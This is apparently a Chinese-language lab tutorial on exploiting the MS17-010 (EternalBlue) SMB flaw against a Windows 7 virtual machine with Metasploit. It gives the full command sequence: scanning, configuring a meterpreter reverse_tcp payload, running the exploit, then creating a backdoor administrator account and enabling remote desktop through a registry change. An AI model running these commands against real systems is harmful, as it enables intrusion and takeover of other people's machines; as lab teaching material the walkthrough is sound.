共计 2290 个字符,预计需要花费 6 分钟才能阅读完成。
Metaploit 介绍
首先我们进入 metaploit 命令:msfconsole,里面总共有六个模块:
- 辅助模块 (auxiliary)
- 渗透攻击模块(exploits)
- 后渗透攻击模块 (post)
- 攻击载荷模块 (payloads)
- 空指令模块(nops)
- 编码器模块 (encoders)
实验环境
本次实验均基于 Vmware 虚拟机进行操作
- 攻击机:192.168.213.129 (Kali-Linux 2020.1)
- 靶机:192.168.213.132 (Windows 7 x64 旗舰版 防火墙关闭状态)
- 漏洞利用:metaploit ms17_010
漏洞实施
目标扫描
- 查询 Windows 7 的 ip 地址,命令行输入 ipconfig,ip 为 192.168.213.132

- 使用 Nessus 对目标机器进行扫描

- 使用 nmap 对目标机器进行扫描

通过扫描可知,目标主机开放了 445 端口,并且存在 smb 漏洞
首先启动 Vmware 虚拟机中的 Kali-Linux 操作系统,本次教程使用的版本为 Kali-Linux 2020.1
- 查看 Kali 的 ip 地址,使用 ip addr 命令查看 eth0 可知,ip 为 192.168.213.129

- 在 Kali 中打开终端,输入 msfconsole 命令,当前 metasploit 版本为 v5.0.71-dev

- 在 msf 中,输入 search ms17_010,查询 ms17_010 相关的漏洞内容

0 auxiliary/admin/smb/ms17_010_command // 扫描 445 在线主机
1 auxiliary/scanner/smb/smb_ms17_010 // 扫描某个网段内是否存在 ms17_010 漏洞
2 exploit/windows/smb/ms17_010_eternalblue // 永恒之蓝漏洞利用模块
3 exploit/windows/smb/ms17_010_eternalblue_win8
4 exploit/windows/smb/ms17_010_psexec
auxiliary 目录下的是辅助验证程序
exploit 目录下的是漏洞利用程序
二次漏洞扫描
使用 msf 的 auxiliary 再对目标机器扫描,判断是否存在 ”ms17_010″ 漏洞
- 输入如下命令使用 auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/smb_ms17_010

- 输入如下命令查看当前模块的各项参数信息
show options

- 根据提示信息,在左侧 Current Setting 为当前设置,有一些具有默认值,如果为空,且右侧的 Required 为 yes,则这个值需要我们去设置
- 如上图所述,RHOST 的 Current Setting 为空,且右侧为 yes,则这个值需要设置
使用如下命令,设置 rhost 为目标地址
set rhosts 192.168.213.132

使用如下命令开始对目标主机进行扫描,可以看到存在 ms17_010 漏洞
run

接下来,我们使用 exploit 中的漏洞利用模块,当我们 use 新的模块后,左侧的红色高亮内容将变成我们新使用的模块
use exploit/windows/smb/ms17_010_eternalblue

payload 攻击载荷
- payload 称为攻击载荷,主要用于建立目标机与攻击机之间的稳定连接,并返回一个 shell,也可以进行程序注入等。
meterpreter
meterpreter 其实就是一个 payload,它需要 stagers 和相应的 stages 配合运行,meterpreter 运行在内存中,通过注入 dll 文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。所以 meterpreter 非常适合作为攻击载荷模块。
在 MS17-010 中使用了 windows/x64/meterpreter/reverse_tcp 这个攻击载荷,它是由一个传输器载荷(reverse_tcp)和一个传输体载荷(meterpreter)所组成的结合体,其功能等价于独立攻击载荷 windows/x64/shell_reverse_tcp
收下使用如下命令配置 payload 攻击载荷,建立反向 tcp 连接
set payload windows/x64/meterpreter/reverse_tcp

输入如下命令查看当前模块的各项参数信息
show options

根据上述解析,我们目前知道需要配置两个参数,RHOSTS 和 LHOSTS,RHOSTS 就是目标主机,LHOSTS 就是当前主机,接下来使用如下命令进行设置
set rhost 192.168.213.132
set lhost 192.168.213.129

最后,使用如下命令执行漏洞利用
exploit

根据上述结果,我们可以看到,左下角已经已经不是红色的漏洞模块会话,而是 meterpreter 会话,说明已经成功渗透成功,拿到了目标主机的 shell 权限
执行 sysinfo, 查询目标主机的系统信息,可以看到具体的计算机名,操作系统具体版本号,系统架构,语言,工作组等信息

我们执行 screenshot 命令对目标系统进行截图,截图后存储在 /home/kali 下


输入 shell,切换到靶机的 System32 目录

创建用户并添加管理员权限
net user test test /add
net localgroup administrators test /add

开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

连接远程桌面
